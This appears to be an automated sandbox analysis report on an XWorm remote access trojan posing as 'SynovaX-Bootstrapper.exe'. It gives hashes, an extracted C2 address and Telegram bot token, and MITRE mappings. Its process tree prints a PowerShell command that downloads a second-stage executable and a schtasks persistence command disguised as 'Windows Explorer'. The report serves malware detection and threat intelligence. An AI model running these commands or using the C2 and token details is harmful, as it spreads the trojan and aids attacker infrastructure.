xworm | 1daa72ef555a8d914176f0f4050b77de7b9d1cebd4c39aebea2443648313cfe2

General

Target

SynovaX-Bootstrapper.exe
Size

89KB
MD5

ed78d35bb29ca31c513323b193fcb58d
SHA1

5ecfc87ce1aec3a0ff03515789640c61632e423a
SHA256

1daa72ef555a8d914176f0f4050b77de7b9d1cebd4c39aebea2443648313cfe2
SHA512

3766de02821291c540ebb62abf737b453fae85279c57b11a5c16fa9e7e61f26b47b584831d1237a355fa412a7ad38205e4a24ab3ee787f52d92a6042f16ddddf
SSDEEP

1536:z7fbN3eEDhDPA/pICdUkbBtW7upvaLU0bI5taxKo0IOlnToIfowiOr:v7DhdC6kzWypvaQ0FxyNTBfow

Score

10^/10

xworm discovery execution persistence rat trojan

Malware Config

Extracted

Family

xworm

C2

SynoACOUSTIC-48269.portmap.host:48269

Attributes

Install_directory
%LocalAppData%
install_file
USB.exe
telegram
https://api.telegram.org/bot7851532344:AAE8qkSFZrbQrajpw8LiT-zsdIxuZ0SFaso

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000300000001e5ba-20.dat	family_xworm
behavioral2/memory/2964-22-0x00000000006D0000-0x00000000006E8000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	4028	powershell.exe
13	4028	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
4028	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
13	4028	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\Control Panel\International\Geo\Nation	SynovaX.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows Explorer.lnk	SynovaX.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows Explorer.lnk	SynovaX.exe

Executes dropped EXE 3 IoCs

pid	Process
2964	SynovaX.exe
1244	Windows Explorer
4284	Windows Explorer

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows Explorer = "C:\\Users\\Admin\\AppData\\Local\\Windows Explorer"	SynovaX.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SynovaX-Bootstrapper.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1252	schtasks.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4028	powershell.exe
4028	powershell.exe
2964	SynovaX.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	4028	powershell.exe
Token: SeDebugPrivilege	2964	SynovaX.exe
Token: SeDebugPrivilege	2964	SynovaX.exe
Token: SeDebugPrivilege	1244	Windows Explorer
Token: SeDebugPrivilege	4284	Windows Explorer

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2964	SynovaX.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 452 wrote to memory of 4640	452	SynovaX-Bootstrapper.exe	87
PID 452 wrote to memory of 4640	452	SynovaX-Bootstrapper.exe	87
PID 4640 wrote to memory of 4028	4640	cmd.exe	88
PID 4640 wrote to memory of 4028	4640	cmd.exe	88
PID 4640 wrote to memory of 2964	4640	cmd.exe	90
PID 4640 wrote to memory of 2964	4640	cmd.exe	90
PID 2964 wrote to memory of 1252	2964	SynovaX.exe	95
PID 2964 wrote to memory of 1252	2964	SynovaX.exe	95

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\SynovaX-Bootstrapper.exe
"C:\Users\Admin\AppData\Local\Temp\SynovaX-Bootstrapper.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:452
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\84C0.tmp\84C1.tmp\84C2.bat C:\Users\Admin\AppData\Local\Temp\SynovaX-Bootstrapper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4640
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "& {Invoke-WebRequest -Uri 'https://github.com/SynovaX/release/releases/download/Normal/SynovaX.exe' -OutFile 'C:\Users\Admin\AppData\Local\Temp\SynovaX.exe'}"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4028
- - C:\Users\Admin\AppData\Local\Temp\SynovaX.exe
    C:\Users\Admin\AppData\Local\Temp\SynovaX.exe
    3⤵
    - Checks computer location settings
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2964
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Windows Explorer" /tr "C:\Users\Admin\AppData\Local\Windows Explorer"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1252

C:\Users\Admin\AppData\Local\Windows Explorer
"C:\Users\Admin\AppData\Local\Windows Explorer"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1244

C:\Users\Admin\AppData\Local\Windows Explorer
"C:\Users\Admin\AppData\Local\Windows Explorer"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4284

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Windows Explorer.log

Filesize
654B

MD5
2ff39f6c7249774be85fd60a8f9a245e

SHA1
684ff36b31aedc1e587c8496c02722c6698c1c4e

SHA256
e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

SHA512
1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

Download Submit
C:\Users\Admin\AppData\Local\Temp\84C0.tmp\84C1.tmp\84C2.bat

Filesize
200B

MD5
0cb29fcb019c1b175c3aaaa1d1e9bcce

SHA1
92d97120d070734fa7c58f7248b2fc0aed35bdcc

SHA256
c8dc0ac37f1b3033e4b02c34106595e7395fe8db755961a62ff96151964e9eff

SHA512
0ef2d2de6f853443b25894d88beec870734fb39b821ee2c03b361686728479a21765a79919cd093c6b43f86eb9964f94e430f766aecd7df8a251dae0b1e89ccf

Download Submit
C:\Users\Admin\AppData\Local\Temp\SynovaX.exe

Filesize
69KB

MD5
6995cfc0d1ba9ec314ed979c02f7ca99

SHA1
aa5648466fd02c0489581a848f7d2767bc953260

SHA256
dcb90807028ccb8027655299909478ecc4f924f954dc9a82dafd629e2412498d

SHA512
3c0e5d66b71a0acc5b54ec8a80d51be74764593a031202f339d19e9b72213ee9704db15082f013bc068a6987cf7675458d2ac48b6924c5f2aae2df93d3cb1dd3

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_y5qtoufa.uuk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2964-23-0x00007FFA33380000-0x00007FFA33E41000-memory.dmp

Filesize
10.8MB

Download
memory/2964-22-0x00000000006D0000-0x00000000006E8000-memory.dmp

Filesize
96KB

Download
memory/2964-27-0x00007FFA33380000-0x00007FFA33E41000-memory.dmp

Filesize
10.8MB

Download
memory/2964-28-0x00007FFA33380000-0x00007FFA33E41000-memory.dmp

Filesize
10.8MB

Download
memory/2964-29-0x00007FFA33380000-0x00007FFA33E41000-memory.dmp

Filesize
10.8MB

Download
memory/4028-14-0x00007FFA33380000-0x00007FFA33E41000-memory.dmp

Filesize
10.8MB

Download
memory/4028-18-0x00007FFA33380000-0x00007FFA33E41000-memory.dmp

Filesize
10.8MB

Download
memory/4028-13-0x00007FFA33380000-0x00007FFA33E41000-memory.dmp

Filesize
10.8MB

Download
memory/4028-3-0x00000182D60F0000-0x00000182D6112000-memory.dmp

Filesize
136KB

Download
memory/4028-2-0x00007FFA33383000-0x00007FFA33385000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads